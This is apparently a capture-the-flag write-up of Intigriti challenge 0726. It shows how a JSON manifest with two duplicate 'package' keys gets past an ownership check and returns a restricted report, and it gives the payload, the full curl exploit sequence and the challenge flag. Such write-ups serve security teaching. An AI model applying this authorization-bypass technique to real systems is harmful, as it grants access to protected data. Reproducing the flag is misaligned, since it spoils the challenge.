Skip to content

Instantly share code, notes, and snippets.

@Bild96
Created August 1, 2026 15:10
Show Gist options
  • Select an option

  • Save Bild96/6714572c7ea9b651c395588872ad6611 to your computer and use it in GitHub Desktop.

Select an option

Save Bild96/6714572c7ea9b651c395588872ad6611 to your computer and use it in GitHub Desktop.
intigriti Challenge.0726

Steps to Find the Flag — Intigriti 0726

Target: https://challenge-0726.intigriti.io/challenge.html

Bug class: Authorization bypass via duplicate top-level package keys (JSON parse disagreement)

Flag: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}


1. Recon — Read the app and the rules

  • Landing page states the rules: latest Chrome, no self-XSS, no MitM, flag format INTIGRITI{...}.
  • The app says the important part out loud: "A protected report contains the flag."
  • This steers the investigation away from XSS-in-text-nodes and toward getting the server to build a report for a package you are not allowed to target.

2. Understand the product flow

The app (Registry Observatory / "Canonically Yours") is a Vite + React SPA with a preflight pipeline:

  1. Register or log in → get a private namespace (scope) and a CSRF token.
  2. Fill a JSON manifest naming a package triple (scope, name, version).
  3. Base64-encode the JSON into manifest_b64.
  4. Preview the manifest (schema + ownership checks).
  5. Sign it → server returns approval_id, manifest_sha256, nonce, expires_at, signature.
  6. Publish by replaying manifest_b64 plus the approval fields.
  7. Read the report (existence, version, compatibility, release notes).

3. Identify the crown jewel

  • The Observatory archive / component index names the target directly:
    • Platform-maintained scope: core
    • Restricted component: security-notes (record CR-17, version 1.0.0)
  • Direct access is blocked:
    • GET /api/packages/core/security-notes403 "System package details are restricted" (proves the object exists, ACL rejects you).
  • Working hypothesis: steal the preflight report pipeline, not the package-detail endpoint.

4. Map the real boundary with negative tests

With a real account, run these experiments (each is a real request):

Experiment Result Lesson
Preflight own hello-world Report ready, ordinary notes Pipeline works end-to-end
scope: "core" alone Preview/sign rejected Ownership is enforced somewhere
Own scope + name security-notes status: not_found Name alone does not cross scopes
Sign own package, publish core bytes Approval invalid Signature binds full manifest bytes
Extra keys / __proto__ / wrong operation / visibility Rejected Schema is strict on members and enums
Duplicate name keys inside one package object Last name used Per-field parse is last-wins
Core package first, own package second Preview fails First top-level package drives authz
Own package first, core package second Flag Last top-level package drives report identity

Also ruled out: stored XSS via description (React renders fields as text), approval mix-and-match, cross-user publication IDOR, Unicode confusables, path tricks, basic prototype pollution.

5. Understand the root cause

  • A JSON object is a map of name/value pairs, but the text format allows the same name twice. Standard parsers keep the last value when building a map.
  • This is fine if every step uses the same map. It breaks if:
    1. One check walks the raw text and takes the first member named package (authorization).
    2. Another step builds a normal object and takes the last member named package (report identity).
  • Result: two truths in one document. Authz passes for truth A while the report is built from truth B.

6. Build the exploit payload

Raw JSON (before Base64) — your namespace first, core/security-notes second:

{
  "package": {
    "scope": "<YOUR_NAMESPACE>",
    "name": "hello-world",
    "version": "1.0.0"
  },
  "package": {
    "scope": "core",
    "name": "security-notes",
    "version": "1.0.0"
  },
  "metadata": {
    "description": "x",
    "visibility": "private"
  },
  "operation": "preflight"
}

Replace <YOUR_NAMESPACE> with the value from GET /api/me (no leading @). hello-world is used as the first package because it is a seeded starter package that exists in your namespace (gives a clean "package exists" report path).

7. Replay the full exploit

# after login, keep cookies in jar file cj
NS=$(curl -sS -b cj -c cj https://challenge-0726.intigriti.io/api/me | jq -r .user.namespace)
CSRF=$(curl -sS -b cj https://challenge-0726.intigriti.io/api/me | jq -r .csrf_token)

# Build the dual-package JSON, UTF-8 encode, standard Base64 into $M

# 1. Preview
curl -sS -b cj -X POST https://challenge-0726.intigriti.io/api/manifests/preview \
  -H "content-type: application/json" -H "x-csrf-token: $CSRF" \
  -d "{\"manifest_b64\":\"$M\"}"
# -> {"valid":true,"operation":"preflight"}

# 2. Sign (keep approval_id, manifest_sha256, nonce, expires_at, signature)
curl -sS -b cj -X POST https://challenge-0726.intigriti.io/api/manifests/sign \
  -H "content-type: application/json" -H "x-csrf-token: $CSRF" \
  -d "{\"manifest_b64\":\"$M\"}"

# 3. Publish (replay manifest_b64 + approval fields)
curl -sS -b cj -X POST https://challenge-0726.intigriti.io/api/publications \
  -H "content-type: application/json" -H "x-csrf-token: $CSRF" \
  -d "{\"manifest_b64\":\"$M\", ...approval fields...}"
# -> 201 with publication_id

# 4. Fetch the protected report
curl -sS -b cj https://challenge-0726.intigriti.io/api/publications/$PID
# report.release_notes -> INTIGRITI{...}

8. Capture the flag

  • GET /api/publications/{publication_id} returns target: @core/security-notes and the flag inside report.release_notes.
  • The same flag appears in the UI publication report for @core/security-notes (status: ready).

Flag: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}


Screenshot from 2026-08-01 18-21-07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment